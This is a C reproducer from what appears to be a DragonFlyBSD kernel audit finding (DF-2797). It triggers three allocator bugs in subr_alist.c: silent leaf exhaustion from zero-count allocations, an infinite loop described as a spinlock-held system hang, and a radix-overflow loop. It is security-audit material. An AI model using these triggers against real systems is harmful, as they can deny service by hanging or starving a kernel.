DragonFlyBSD Kernel Audit
DF-2797 / trigger_domain.c
← back to finding ↓ download raw
/*
 * trigger_domain.c - alist release-kernel domain-validation triggers
 * (DF-2797 candidate).  Compiles the real sys/kern/subr_alist.c in
 * userland with -DNDEBUG to emulate a production (non-INVARIANTS)
 * kernel where KKASSERT is a no-op.
 *
 * T1: alist_alloc(bl, 0, 0) on a FULLY-FREE leaf  -> whole 32-block
 *     leaf silently allocated for a "0-block" request (capacity theft,
 *     bl_free left unchanged).  2048 calls exhaust a 65536-block alist
 *     while bl_free still claims 65536 free; a following 1-block
 *     allocation fails.
 * T2: alist_alloc(bl, 0, 0) on a PARTIALLY-FREE leaf -> infinite loop
 *     in alst_leaf_alloc's `for (j = 0; j <= n; j += count)' (j += 0).
 *     In-kernel this spins with the caller's lock held (vm_contig_spin
 *     for vm_contig_alist) => permanent system hang.
 * T3: alist_create(blocks > 2^29) -> `radix *= ALIST_META_RADIX' wraps
 *     to 0 -> infinite loop in the radix computation.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>

#define main alist_debug_main
#include "kern/subr_alist.c"
#undef main

static struct alist bl;
static almeta_t records[ALIST_RECORDS_65536];

static void
hang_handler(int sig __unused)
{
	printf("    [SIGALRM] HANG REPRODUCED: still spinning after 5s "
	       "(in-kernel: spinlock held, system hang)\n");
	_exit(42);
}

static void
t1_leafwipe(void)
{
	int i, wiped = 0;
	alist_blk_t r, probe;

	alist_init(&bl, 65536, records, ALIST_RECORDS_65536);
	alist_free(&bl, 0, 65536);		/* everything free */

	for (i = 0; i < 2048 + 16; ++i) {
		r = alist_alloc(&bl, 0, 0);	/* count == 0 */
		if (r != ALIST_BLOCK_NONE)
			wiped++;
	}
	probe = alist_alloc(&bl, 0, 1);
	printf("T1 leaf-wipe: %d zero-count allocs 'succeeded'; "
	       "bl_free=%u (of 65536); 1-block alloc now -> %s\n"
	       "    => 32*%d = %d blocks (%d KB of DMA reserve) stolen "
	       "silently; free-count says full\n",
	       wiped, bl.bl_free,
	       probe == ALIST_BLOCK_NONE ? "NONE (FAILURE)" : "ok",
	       wiped, wiped * 32, wiped * 32 * 4);
}

static void
t2_hang(void)
{
	signal(SIGALRM, hang_handler);
	alarm(5);

	alist_init(&bl, 64, records, ALIST_RECORDS_65536);
	alist_free(&bl, 0, 16);		/* leaf 0 partially free (16/32) */

	printf("T2 hang: calling alist_alloc(bl, 0, 0) on partially-free "
	       "leaf...\n");
	fflush(stdout);
	/* infinite loop: for (j = 0; j <= n; j += count) with count == 0 */
	alist_alloc(&bl, 0, 0);
	printf("    UNEXPECTEDLY returned\n");
	_exit(0);
}

static void
t3_createwrap(void)
{
	signal(SIGALRM, hang_handler);
	alarm(5);

	printf("T3 create-wrap: alist_create(3000000000) ...\n");
	fflush(stdout);
	alist_create(3000000000, NULL);	/* radix wraps to 0, loops forever */
	printf("    UNEXPECTEDLY returned\n");
	_exit(0);
}

int
main(void)
{
	pid_t p;
	int st;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("== T1 (silent leaf wipe, count==0) ==\n");
	t1_leafwipe();
	fflush(stdout);

	printf("== T2 (infinite loop, count==0 partial leaf) ==\n");
	p = fork();
	if (p == 0)
		t2_hang();
	waitpid(p, &st, 0);
	printf("    child exit=%d (42 == hung & alarm-killed)\n",
	       WEXITSTATUS(st));

	printf("== T3 (alist_create radix wrap) ==\n");
	p = fork();
	if (p == 0)
		t3_createwrap();
	waitpid(p, &st, 0);
	printf("    child exit=%d (42 == hung & alarm-killed)\n",
	       WEXITSTATUS(st));

	return 0;
}